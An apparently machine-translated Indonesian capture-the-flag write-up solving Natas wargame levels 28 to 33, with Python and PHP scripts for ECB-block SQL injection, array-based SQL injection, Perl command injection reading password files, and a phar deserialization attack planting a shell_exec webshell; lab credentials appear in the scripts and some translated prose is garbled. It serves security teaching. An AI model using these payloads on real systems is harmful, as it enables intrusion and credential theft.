
Pada artikel ini, kita akan membahas operasi beberapa identitas WEB menggunakan wargame
Natas sebagai contoh. Setiap level memiliki akses ke kata sandi level selanjutnya. Semua kata sandi juga disimpan di file / etc / natas_webpass /. Sebagai contoh, kata sandi untuk natas5 disimpan dalam file / etc / natas_webpass / natas5 dan hanya-baca untuk pengguna natas4 dan natas5.
Bagian sebelumnya:
bagian 1 ,
bagian 2 ,
bagian 3 dan
bagian 4 .
Informasi OrganisasiTerutama bagi mereka yang ingin mempelajari sesuatu yang baru dan berkembang di bidang informasi dan keamanan komputer, saya akan menulis dan berbicara tentang kategori berikut:
- PWN;
- kriptografi (Crypto);
- teknologi jaringan (Jaringan);
- membalikkan (Reverse Engineering);
- steganografi (Stegano);
- pencarian dan eksploitasi kerentanan WEB.
Selain itu, saya akan membagikan pengalaman saya dalam forensik komputer, analisis malware dan firmware, serangan pada jaringan nirkabel dan jaringan area lokal, melakukan pentest dan menulis eksploitasi.
Agar Anda dapat mengetahui tentang artikel baru, perangkat lunak, dan informasi lainnya, saya membuat
saluran di Telegram dan
grup untuk membahas masalah apa pun di bidang ICD. Juga, saya pribadi akan mempertimbangkan permintaan pribadi Anda, pertanyaan, saran dan rekomendasi
secara pribadi dan akan menjawab semua orang .
Semua informasi disediakan hanya untuk tujuan pendidikan. Penulis dokumen ini tidak bertanggung jawab atas kerusakan yang disebabkan seseorang sebagai akibat dari menggunakan pengetahuan dan metode yang diperoleh sebagai hasil dari mempelajari dokumen ini.
level 28
Mengirim permintaan apa pun, kami melihat pengalihan ke halaman lain dengan permintaan aneh dan pengkodean base64, yang dekode tidak memberikan apa-apa.

Kami akan mengirimkan permintaan apa pun ke kueri. Kami mendapatkan kesalahan yang memperjelas bahwa pengalihan menggunakan enkripsi dan pada halaman ini permintaan didekripsi sebelum dipindahkan ke database. Artinya, kita perlu Mengenkripsi injeksi kita dan mengirimkannya ke server, tetapi kita tidak tahu kuncinya. Tetapi kami memiliki seorang penyandi - ini adalah server.

Pertama, mari kita berurusan dengan enkripsi. Kami akan mengirimkan dua baris berbeda "qwerty" dan "asdfgh" dan menganalisis bagaimana mereka akan dikonversi.

Sebagai tanggapan, kita mendapatkan garis identik, yang di tempat tertentu memiliki urutan berbeda. Karena awal dan akhir dua PC (teks sandi) adalah sama, kita dapat menarik kesimpulan berikut:
- Pelengkap awal untuk PL digunakan (plaintext);
- ada tambahan akhir untuk PL;
- Mode ECB digunakan, karena pada PL yang berbeda blok terakhir dari CT adalah sama, yaitu, blok independen satu sama lain.
Idenya adalah ini: kami mengirim permintaan ke database untuk enkripsi, tetapi akan dikonversi dan oleh karena itu, ketika mendekripsi, injeksi tidak akan berlalu. Kita perlu berurusan dengan add-on untuk secara akurat menghitung blok tempat muatan kita akan dienkripsi. Kemudian setelah enkripsi, kami akan mengambil blok kami dari permintaan dan hanya mengirimkannya ke server. Di server mereka akan didekripsi dan, karena mereka tanpa add-on, dieksekusi.
Idenya disajikan dalam empat gambar:
- Presentasi 5 blok.
- Encoder dengan penambahan awal dan akhir yang mengenkripsi string kosong.
- Enkripsi string "TEXTTEXTTEXTTEXT".
- Kami menyingkirkan penambahan dengan menambahkan jumlah karakter yang diperlukan sebelum dan sesudah baris kami untuk meletakkannya di blok terpisah. Kami hanya mengambil dari PC blok kedua.

Dengan cara ini, kami hanya menerima string terenkripsi kami pada kunci yang tidak diketahui bagi kami !!!
Data yang Dibutuhkan:
- Mode Enkripsi (Diketahui - ECB)
- Panjang blok (diketahui - 16)
- Panjang add-on awal (tidak diketahui)
- Panjang teks kita (dikenal - βPILIH kata sandi
SAYA bercanda DARI pengguna ")
Perlu untuk mengetahui panjang pengisian awal. Karena dua blok pertama sama, kami akan mengirim sejumlah karakter yang berbeda, dan segera setelah blok ketiga berhenti berubah, kami akan menemukan jumlah karakter yang diperlukan untuk melengkapinya. Ini adalah 10 karakter. Di bawah ini adalah implementasi dari algoritma di atas.
import base64 import requests from urlparse import urlsplit from urllib2 import unquote def ChiperQuery(url, auth, query): resp = requests.post(url, auth=auth, data={'query': query}) query_param = unquote(urlsplit(resp.url)[3][6:]) byte_decode_query = bytearray(base64.b64decode(query_param)) return byte_decode_query def SendPayload(url, auth, payload): enc_payload = base64.b64encode(bytes(payload)) ret = requests.get(url + '/search.php', auth=auth, params={'query': enc_payload}) return ret.text url = "http://natas28.natas.labs.overthewire.org/" auth = requests.auth.HTTPBasicAuth("natas28", "JWwR438wkgTsNKBbcJoowyysdM82YjeF") query = "SELECT password AS joke FROM users" query += " " * (16-len(query)%16) plaintext = 'b'*10 + query + chr(16)*16 chip_query = ChiperQuery(url, auth, plaintext) st_pos = len(query) count = st_pos+16 result = SendPayload(url, auth, chip_query[st_pos:st_pos+count]) print(result)

Kami mendapatkan kata sandi.
level 29
Sulit untuk menebak bahwa kode perl memanggil fungsi baris perintah dan meneruskan perintah yang ditentukan dalam file data (yang dapat Anda pilih) ke perintah. Faktanya adalah bahwa kita dapat menutup pipa dari "exec | read_command_file "in" exec | read_command | perintah our_smd_. "

Tetapi kenyataannya adalah bahwa tim kami akan ditampilkan di konsol, dan bukan di situs. Untuk melakukan ini, tambahkan perintah berikut untuk mengganti karakter di input / output stream: β| tr `sebelum` setelah`.

Karena perintah sudah selesai, kami akan membaca kata sandi dari file yang ditentukan. Tetapi kita diberitahu bahwa kita tidak dapat melakukan ini ...

Kami akan menggunakan pemfilteran baris perintah dan menyisipkan tanda kutip di sembarang tempat yang akan dihapus ketika perintah dieksekusi.

Kami mengambil kata sandi.
level 30
Mari kita lihat kode sumbernya. Metode quote () digunakan di sini, yang lolos dari semua karakter khusus dalam sebuah string. Tapi itu lolos tepat dalam string, yang memberi kita hak untuk mengoperasikan injeksi, jika kita menggunakan, misalnya, sebuah array (dalam hal ini, elemen nol akan diterima).

Mari kita datang dengan memuat permintaan
Select * FROM users where username = 'username' and password = 'password';
Karena kami tahu nama pengguna adalah natas31, kami memperkenalkan kondisi yang benar ke dalam kata sandi: '' atau 1. Kemudian permintaan kami akan menjadi seperti ini
Select * FROM users where username = 'natas31' and password = '' or 1;
Dan sekarang tetap mengirim array.
import requests url = "http://natas30.natas.labs.overthewire.org/index.pl" s = requests.Session() s.auth = ('natas30', 'wie9iexae0Daihohv8vuu3cei9wahf0e') args = { "username": "natas31", "password": ["'' or 1", 2] } r = s.post(url, data=args) print(r.text)

Kami mengambil kata sandi.
level 31
Inti dari layanan segera menjadi jelas: dari file csv kita dapatkan tabel dalam html.

Mari kita lihat kode sumbernya.

Jadi, apa yang paling menarik: ini adalah baris while (<$ file>), sedangkan file adalah baris dari parameter. Dengan demikian, dimungkinkan untuk mengeksekusi kode.

Kirim file csv apa pun dan potong permintaan di Burp Suite.

Sekarang mari kita tambahkan perintah sebagai parameter.
?/bin/cat%20/etc/natas_webpass/natas32%20|

Untuk memanggil pemuatan dari parameter, tambahkan baris berikut:
-----------------------------716973545450730846281908502 Content-Disposition: form-data; name="file"; Content-Type: text/csv ARGV


Kami mendapatkan kata sandi.
level 32
Kami membuka halaman di mana kami diberitahu bahwa kami perlu membuktikan eksekusi kode dan mengeksekusi file webroot.

Jika Anda melihat kode, itu persis sama dengan di level sebelumnya. Kemudian kami mengeksploitasi kerentanan seperti terakhir kali. Mari kita cari file webroot. Untuk melakukan ini, lihat direktori, gunakan sebagai beban: ls -la |

Dapatkan daftar file. Webroot tidak ada di sana, tetapi ada kata sandi program aneh.
Kami melaksanakannya.


Kami mendapatkan kata sandi untuk level terakhir.

level 33
Sekali lagi formulir unggah file.

Mari kita lihat kode sumbernya.

Jadi, kita harus mengunggah file hingga 4 MB dalam ukuran ke server dan jika md5 dari isi file sama dengan nilai referensi, itu akan dieksekusi di php interpreter. Kami melihat lebih jauh. Kita dapat mengontrol nama file dan isinya.

Saya akan segera mengatakan bahwa ini adalah kerentanan kompleks yang saya temui setengah tahun yang lalu. Ini ditujukan pada kenyataan bahwa kita dapat mengunggah file jenis apa pun ke server dan operasi apa pun akan dilakukan dengan kontennya. Tentang file phar ditulis di
sini . Singkatnya, arsip php khusus mewakili data serial. Dalam hal ini, membaca aliran phar akan mengarah pada pelaksanaan kode. Dengan demikian, Anda dapat membuat serial kode dan mengirimkannya ke server. Saat menghitung md5, aliran akan dibaca - yang akan mengarah pada eksekusi kode.
Jadi pertama-tama buat file php yang bertuliskan flag.
<?php echo shell_exec('cat /etc/natas_webpass/natas34'); ?>
Unggah ke server. Jangan lupa untuk mengubah nama di Burp Suite.


Kami mendapat respons server ... Oke. Sekarang kita akan membuat arsip phar, yang, ketika dijalankan, akan mengubah nilai yang kita butuhkan (hash akan selalu benar dan nama file yang telah diunggah ke server). Jadi kami akan melewati pemeriksaan dan server akan menjalankan shell.php.
<?php class Shell { private $filename = "shell.php"; private $signature = True; private $init = false; } $phar = new Phar("shell.phar"); $phar->startBuffering(); $phar->addFromString("123.txt", '123'); $phar->setStub("<?php __HALT_COMPILER(); ?>"); $s = new Shell(); $phar->setMetadata($s); $phar->stopBuffering(); ?>
Sebelum mengkompilasi dalam file /etc/php/xx/php.ini, Anda perlu mengubah parameter phar.readonly ke Off.

Selanjutnya, jalankan php shell.php dan kita dapatkan file .phar. Kami mengirimkannya ke server dan mengubah nama.

Jadi kami memiliki kedua file: arsip dan shell. Sekarang Anda perlu membuat file dibaca dari arsip, yang akan menyebabkan eksekusi kode.

Kami mendapatkan kata sandi.

Itu adalah tempat Natas. Anda dapat bergabung dengan kami di
Telegram .